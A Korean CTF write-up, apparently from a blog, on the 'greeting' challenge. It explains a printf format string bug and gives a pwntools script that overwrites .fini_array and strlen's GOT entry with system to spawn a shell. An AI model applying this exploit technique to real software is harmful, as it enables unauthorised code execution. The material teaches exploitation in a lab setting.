1 2 3 4 5 6 7 8 9 10 11 12 13 | int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-84h] char v5; // [esp+5Ch] [ebp-44h] unsigned int v6; // [esp+9Ch] [ebp-4h] v6 = __readgsdword(0x14u); printf("Please tell me your name... "); if ( !getnline(&v5, 64) ) return puts("Don't ignore me ;( "); sprintf(&s, "Nice to meet you, %s :)\n", &v5); return printf(&s); } | cs |
printf(&s) 에서 포멧스트링버그가 발생한다.
여기서 system 함수의 주소를 다른 함수의 got에 덮어씌워 쉘을 실행시키려했는데
printf 함수가 마지막 호출되므로 그 다음에 실행할 수 있는 함수가 없다.
따라서 main을 두번 실행시켜야한다.
프로그램이 종료될 때 .fini_array 에 들어있는 주소를 따라가 함수를 실행시킨다.
따라서 .fini_array의 값을 main함수고 덮어씌우면 main함수를 한번 더 실행 가능하다.
1 2 3 4 5 6 7 8 9 10 | size_t __cdecl getnline(char *s, int n) { char *v3; // [esp+1Ch] [ebp-Ch] fgets(s, n, stdin); v3 = strchr(s, 10); if ( v3 ) *v3 = 0; return strlen(s); } | cs |
getnline 함수를 보면 system("/bin/sh")로 조작하기 편해보이는 함수가 존재한다.
strlen(s)
첫번째 main함수에서 strlen의 got값을 system함수로 덮어씌워주고
두번째 main함수에서 s를 "/bin/sh"로 입력한다면 쉘이 따진다.
exploit 과정
>>> 첫번째 main
1. fini_array의 값을 main함수의 시작주소로 덮어씌운다.
2. strlen의 got를 system의 주소로 덮어씌운다.
>>> 두번째 main
3. "/bin/sh"를 입력한다.
exploit 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import * local = True if local: p = process("./greeting") e = ELF("./greeting") else: p = remote("pwnable.kr",9010) fini_array = 0x8049934 strlen_got = e.got["strlen"] print p.recv(2222) pay = "A"*2 pay += p32(fini_array) pay += p32(fini_array+0x2) #28 pay += p32(strlen_got) pay += p32(strlen_got+0x2) #36 pay += "%"+str(0x0804-36)+"c" pay += "%13$hn%15$hn" pay += "%"+str(0x8490-0x0804)+"c" pay += "%14$hn" pay += "%"+str(0x85ed-0x8490)+"c" pay += "%12$hn" p.sendline(pay) p.recvuntil(":)") print p.recv(2222) p.sendline("/bin/sh") p.interactive() | cs |
'정보보안 > CTF' 카테고리의 다른 글
[CSAW CTF 2013] Exploitation4 (0) | 2018.11.12 |
---|---|
[CSAW CTF 2013] Exploitation3 (0) | 2018.11.10 |
[CSAW CTF 2013] Exploitation2 (0) | 2018.11.09 |
[DEFCON CTF 2015] r0pbaby (0) | 2018.11.08 |
[DEFCON CTF 2016] xkcd (0) | 2018.11.07 |